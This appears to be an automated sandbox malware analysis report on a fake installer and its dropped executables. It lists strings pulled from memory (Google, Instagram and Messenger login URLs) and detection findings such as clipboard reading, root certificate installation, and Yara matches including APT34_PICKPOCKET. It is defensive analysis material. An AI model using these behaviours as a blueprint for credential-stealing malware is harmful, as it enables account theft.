Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_phone.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/pixel_tablet.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/google-logo-one-color.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-fb.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-help.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-twitter.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/google-play-download.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-beta.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-canary.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-dev.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/google-enterprise.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/hero-anim-top-right.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_features.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_privacy.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/homepage_tools.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/homepage/laptop_desktop.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/thank-you/thankyou-animation.json
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/js/installer.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/js/main.v2.min.js
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connector
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/cloudprint/enable_chrome_connectorfL
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q&cp=0&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser=0&pq
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q&cp=0&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser=0&ps
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=c&cp=1&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser=0&
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=ch&cp=2&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=chr&cp=3&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=chro&cp=4&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuser
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=chrom&cp=5&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authuse
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/complete/search?q=chrome&cp=6&client=psy-ab&xssi=t&gs_ri=gws-wiz&hl=en&authus
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/branding/googlelogo/2x/googlelogo_color_92x30dp.png
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/hpp/Chrome_Owned_96x96.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/icons/material/system/1x/email_grey600_24dp.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/nav_logo299.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/phd/px.gif
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/images/searchbox/desktop_searchbox_sprites302_hr.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/application/x-msdownloadC:
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/js/bg/4sIGg4Q0MrxdMwjTwsyJBGUAZbljSmH8-8Fa9_hVOC0.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/search
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/search?source=hp&ei=djJ0X6TKCL6IjLsPqriogAY&q=chrome&oq=chrome&gs_lcp=CgZwc3k
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwj8k7G9rJDsAhWNTxUIHZZGDCQQ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/xjs/_/js/k=xjs.s.en_GB.u8fwEfmm86E.O/ck=xjs.s.hyRG9kR79v8.L.I11.O/am=AAAAAABA
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/xjs/_/js/k=xjs.s.en_GB.u8fwEfmm86E.O/ck=xjs.s.hyRG9kR79v8.L.I11.O/m=IvlUe
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com;
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.googleadservices.com/pagead/conversion_async.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.googleadservices.com/pagead/p3p.xml
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.c
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000004.00000003.700661532.0000000003EDC000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/calendar.readonly
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/cast-edu-messaging
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/chromewebstor
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonlymdVA
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/clouddevices
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/clouddevicesA
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonly
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/hangouts.readonlyi
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/meetings
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleap
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwrite
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/plus.peopleapi.readwriteVOs
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra85.0.
Source: 6852B33702F6B3BD.exe, 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.googleapis.com/auth/userinfo.email
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=GTM-PZ6TRJB
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.ConsentUi.en_GB.wmTUy5P6FUM.es5.O/ck=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/_/mss/boq-one-google/_/js/k=boq-one-google.OneGoogleWidgetUi.en.bMYZ6MazNlM.
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/ac/cb/cb_cbu_kickin.svg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/autotrack/autotrack.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/lottie/lottie.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/modernizr/modernizr.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/ScrollMagic.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/external_hosted/scrollmagic/animation.gsap.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_92x36dp.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/check_black_24dp.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/keyboard_arrow_down_grey600_24dp.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/kpui/social/fb_32x32.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/kpui/social/twitter_32x32.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.og2.en_US.vA2d_upwXfg.O/rt=j/m=def
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.LGkrjG2a9yI.O/rt=j/m=qabr
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.CniBF78B8Ew.L.X.O/m=qcwid/excm=qaaw
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.gstatic.com/ui/v1/activityindicator/loading_24.gif
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com;
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accept:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/accounts/login/ajax/facebook/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/graphql/query/?query_hash=149bef52a3b2af88c0fec37913fe1cbc&variables=%7B%2
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.com/sec-fetch-site:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.instagram.comsec-fetch-mode:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/accept:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/login/nonce/
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.com/origin:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://www.messenger.comhttps://www.messenger.com/login/nonce/ookie:
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.msn.com/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.msn.com/spartan/dhp?locale=en-US&market=US&enableregulatorypsm=0&enablecpsm=0&ishostisol

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\AppData\Roaming\1611913544586.exe

Code function: 9_2_0040AE4D OpenClipboard,

9_2_0040AE4D

E-Banking Fraud:

Registers a new ROOT certificate

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_1001F720 CryptStringToBinaryA,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,_memset,CertGetCertificateContextProperty,_memset,_memset,_sprintf,_sprintf,CertCloseStore,CertFreeCertificateContext,

3_2_1001F720

System Summary:

Malicious sample detected (through community Yara rule)

Source: 3.2.6852B33702F6B3BD.exe.3230000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown
Source: 4.2.6852B33702F6B3BD.exe.3210000.6.unpack, type: UNPACKEDPE	Matched rule: APT34_PICKPOCKET Author: unknown

PE file has a writeable .text section

Source: FileSetup-v17.04.41.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 6852B33702F6B3BD.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Contains functionality to call native functions

Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_0040C516 NtQuerySystemInformation,		9_2_0040C516
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_0040C6FB memset,CreateFileW,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,		9_2_0040C6FB

Contains functionality to communicate with device drivers

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004143EA: CreateFileW,DeviceIoControl,CloseHandle,

0_2_004143EA

Contains functionality to launch a process as a different user

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_0041B161 __EH_prolog,_memset,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessAsUserW,CloseHandle,CloseHandle,FreeLibrary,CloseHandle,

0_2_0041B161

Detected potential crypto function

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00406012		0_2_00406012
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004581C0		0_2_004581C0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00490370		0_2_00490370
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0049C3FC		0_2_0049C3FC
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0049A3A9		0_2_0049A3A9
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0044E3A0		0_2_0044E3A0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004AA454		0_2_004AA454
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004AE4BE		0_2_004AE4BE
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A855F		0_2_004A855F
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0046251D		0_2_0046251D
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A05C3		0_2_004A05C3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0046E600		0_2_0046E600
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00428690		0_2_00428690
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0044E710		0_2_0044E710
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A2789		0_2_004A2789
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0043A820		0_2_0043A820
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0043E8C0		0_2_0043E8C0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00456880		0_2_00456880
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00406919		0_2_00406919
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00440A40		0_2_00440A40
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A8AA1		0_2_004A8AA1
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0044EBB0		0_2_0044EBB0
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0043EE50		0_2_0043EE50
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00490F01		0_2_00490F01
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A8FE3		0_2_004A8FE3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0044B000		0_2_0044B000
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00441000		0_2_00441000
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00485090		0_2_00485090
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00457200		0_2_00457200
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0043F2D0		0_2_0043F2D0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000C063		3_2_1000C063
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000B883		3_2_1000B883
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_100060F0		3_2_100060F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_100169BD		3_2_100169BD
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_100099E0		3_2_100099E0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_100071F0		3_2_100071F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10009257		3_2_10009257
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10010AED		3_2_10010AED
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10008340		3_2_10008340
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000E380		3_2_1000E380
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000ABA0		3_2_1000ABA0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000B3B0		3_2_1000B3B0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1001EBD0		3_2_1001EBD0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_100083F0		3_2_100083F0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000BC57		3_2_1000BC57
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000C483		3_2_1000C483
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10010590		3_2_10010590
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1001EDDB		3_2_1001EDDB
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000FF71		3_2_1000FF71
Source: C:\Users\user\AppData\Roaming\1611913544586.exe	Code function: 9_2_00404BE4		9_2_00404BE4
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CFA0C3		24_2_00CFA0C3
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF6A1E		24_2_00CF6A1E
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF963B		24_2_00CF963B
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CFA7BB		24_2_00CFA7BB
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF9B7F		24_2_00CF9B7F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CFB51C		24_2_00CFB51C

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00425DE0 appears 92 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00499C6C appears 39 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00494DF0 appears 223 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00426A70 appears 114 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004B3A3D appears 39 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004B39D3 appears 77 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 00427D50 appears 43 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 0048EDF0 appears 40 times
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: String function: 004C3A1C appears 151 times
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: String function: 10010534 appears 35 times

PE file contains strange resources

Source: FileSetup-v17.04.41.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6852B33702F6B3BD.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1611913544586.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1611913544586.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Sample file is different than original file name gathered from version info

Source: FileSetup-v17.04.41.exe	Binary or memory string: OriginalFileName vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000000.00000000.645491057.0000000000512000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameKInstallTool.exeV vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000000.00000000.645425466.00000000004C6000.00000002.00020000.sdmp	Binary or memory string: incompatible versionbuffer errorinsufficient memorydata errorstream errorfile errorstream endneed dictionaryinvalid length/\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuildH vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688791663.0000000002340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688687974.0000000000630000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamenlsbres.dllj% vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe	Binary or memory string: incompatible versionbuffer errorinsufficient memorydata errorstream errorfile errorstream endneed dictionaryinvalid length/\VarFileInfo\Translation\StringFileInfo\%04X%04X\CompanyNameFileDescriptionFileVersionInternalNameLegalCopyrightOriginalFileNameProductNameProductVersionCommentsLegalTrademarksPrivateBuildSpecialBuildH vs FileSetup-v17.04.41.exe
Source: FileSetup-v17.04.41.exe	Binary or memory string: OriginalFilenameKInstallTool.exeV vs FileSetup-v17.04.41.exe

Tries to load missing DLLs

Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: usp10.dll			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll			Jump to behavior

Uses 32bit PE files

Source: FileSetup-v17.04.41.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Yara signature match

Source: 00000004.00000002.710552206.0000000002740000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
Source: 00000000.00000002.689182988.0000000002800000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Ping_Command_in_EXE date = 2016-11-03, author = Florian Roth, description = Detects an suspicious ping command execution in an executable, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, score =
